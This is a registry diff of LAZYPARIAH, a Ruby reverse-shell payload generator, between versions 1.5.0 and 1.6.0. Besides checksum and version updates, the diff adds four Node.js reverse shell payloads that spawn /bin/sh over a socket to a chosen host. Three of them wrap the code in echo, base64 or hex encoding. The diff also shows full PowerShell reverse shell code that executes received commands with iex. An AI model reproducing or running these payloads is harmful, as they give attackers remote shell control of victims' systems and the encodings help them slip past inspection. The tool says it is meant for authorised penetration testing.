lazypariah 1.5.0 → 1.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/bin/lazypariah +23 -4
- metadata +1 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 0e2c6b1e497a8a6f2dc4ffd408a94528e7b72e221fb757faab10ae4f5139e849
|
4
|
+
data.tar.gz: a50c50b1387630ca64302780e448387fcc6c3424d29f01484bd9deea5ee23699
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 45ca04176c895ef5686b1287036c3ce8b9299a92b3b7e622165246b686847e7c6a25523e893b140d5a7d6a3ebd22af1865a2ba107d21bea2641b8fa68f56d4cd
|
7
|
+
data.tar.gz: 3b25a2dc14255ffed550d2e89dddcb759c98031d300a75a0f0425faf94c04fbf03b79b6c8f5c2820aa4860ae771e7ba4f7fe991233b65c959e9054848110084e
|
data/bin/lazypariah
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
2
|
#
|
3
3
|
# Title: LAZYPARIAH
|
4
|
-
# Version: 1.
|
4
|
+
# Version: 1.6.0
|
5
5
|
# Description:
|
6
6
|
# LAZYPARIAH is a simple tool for generating various reverse shell payloads
|
7
7
|
# on the fly. It is intended to be used only in authorised circumstances by
|
@@ -29,7 +29,7 @@ require "stringio"
|
|
29
29
|
|
30
30
|
# Define constants.
|
31
31
|
PROGRAM_NAME = "LAZYPARIAH".freeze()
|
32
|
-
PROGRAM_VERSION = "1.
|
32
|
+
PROGRAM_VERSION = "1.6.0".freeze()
|
33
33
|
EXECUTABLE_NAME = "lazypariah".freeze()
|
34
34
|
|
35
35
|
# Define payload list.
|
@@ -67,7 +67,11 @@ PAYLOAD_LIST = [
|
|
67
67
|
"rust_binary",
|
68
68
|
"nc_openbsd",
|
69
69
|
"powershell_c",
|
70
|
-
"powershell_b64"
|
70
|
+
"powershell_b64",
|
71
|
+
"nodejs",
|
72
|
+
"nodejs_c",
|
73
|
+
"nodejs_b64",
|
74
|
+
"nodejs_hex"
|
71
75
|
].sort()
|
72
76
|
|
73
77
|
# Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
|
@@ -521,14 +525,29 @@ begin
|
|
521
525
|
system("rm -r #{temp_dir}")
|
522
526
|
when "powershell_c"
|
523
527
|
# Simple reverse shell in Powershell.
|
524
|
-
#print_output(s: "powershell -nop -c \"$t = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}', #{ARGV[2]}); $s = $t.GetStream(); [byte[]]$b = 0..65535|%{0}; while(($i = $s.Read($b, 0, $b.Length)) -ne 0){; $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i); $r = (IEX $d 2>&1 | Out-String); $r2 = $r + 'PS '+(pwd).Path+'> '; $rb = ([text.encoding]::ASCII).GetBytes($r2); $s.Write($rb, 0, $rb.Length); $s.Flush()}; $t.Close();\"", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
525
528
|
code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
526
529
|
command = "powershell -nop -c \"#{code}\""
|
527
530
|
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
528
531
|
when "powershell_b64"
|
532
|
+
# Simple base64-encoded reverse shell in Powershell.
|
529
533
|
code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".encode("utf-16le")
|
530
534
|
command = "powershell -e #{Base64.strict_encode64(code)}"
|
531
535
|
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
536
|
+
when "nodejs"
|
537
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
538
|
+
print_output(s: code, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
539
|
+
when "nodejs_c"
|
540
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
541
|
+
command = "echo \"#{code}\" | node"
|
542
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
543
|
+
when "nodejs_b64"
|
544
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
545
|
+
command = "echo #{Base64.strict_encode64(code)} | base64 -d | node"
|
546
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
547
|
+
when "nodejs_hex"
|
548
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();".unpack("H*")[0]
|
549
|
+
command = "echo #{code} | xxd -p -r - | node"
|
550
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
532
551
|
end
|
533
552
|
end
|
534
553
|
end
|